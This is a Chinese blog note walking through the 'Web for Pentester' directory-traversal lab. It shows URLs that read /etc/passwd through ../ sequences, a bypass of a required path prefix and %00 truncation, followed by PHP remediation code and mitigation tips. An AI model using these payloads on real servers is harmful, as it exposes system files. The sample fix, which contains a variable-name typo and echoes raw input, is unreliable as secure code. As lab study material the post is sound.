【渗透测试学习平台】 web for pentester -4.目录遍历
2016-07-21 16:41
465 查看
Example 1
http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwdExample 2
http://192.168.106.154/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd代码会检测是否包含/var/www/files/字符串
Example 3
http://192.168.106.154/dirtrav/example3.php?file=../../../../../../../etc/passwd%00使用%00截断后面字符串,读取passwd文件
修复方案:
修复代码示例:<?php function checkstr($str,$find){ $find_str=$find; $tmparray=explode($find_str,$str); if(count($tmparray)>1){ return true; }else{ return false;} } $hostdir=$_REQUEST['path']; if(!checkstr($hostdir,"..")&&!checkstr($jostdir,"../")){ echo $hostdir; }else{ echo "请勿提交非法字符"; } ?>
修复方案:
过滤.(点)等可能的恶意字符:这个试用于能够修改线上代码,最为推荐的方法;
正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则;
php.ini 配置 open_basedir:这个参数值得的是用户只能访问的目录,作为不能修改线上代码时的备用方案。
相关文章推荐
- jap中文转码
- sql---cast函数
- Mongoexport:关于“no reachable servers”问题
- listView重用机制
- 彻底理解PHP的SESSION机制
- 金税接口
- hdu 5724(博弈论+状态压缩)
- poj3468 线段树+lazy标记
- QP:price list 安全性设置
- Activiti 学习资料收集
- mac下通过brew安装mysql
- 单例模式加锁优化问题
- openstack安装配置(三)
- 使用git往github上提交代码时出现[packet_write_wait connection to xx.xx.xx.xx Broken pipe]错误的解决办法
- CentOS 6.4 下安装vsftpd
- 阿里云日志服务日志写入华东2配置
- Mysql Create命令小结
- Android Dialog 的一些特性
- 【渗透测试学习平台】 web for pentester -3.XSS
- Android Studio新功能解析,你真的了解Instant Run吗?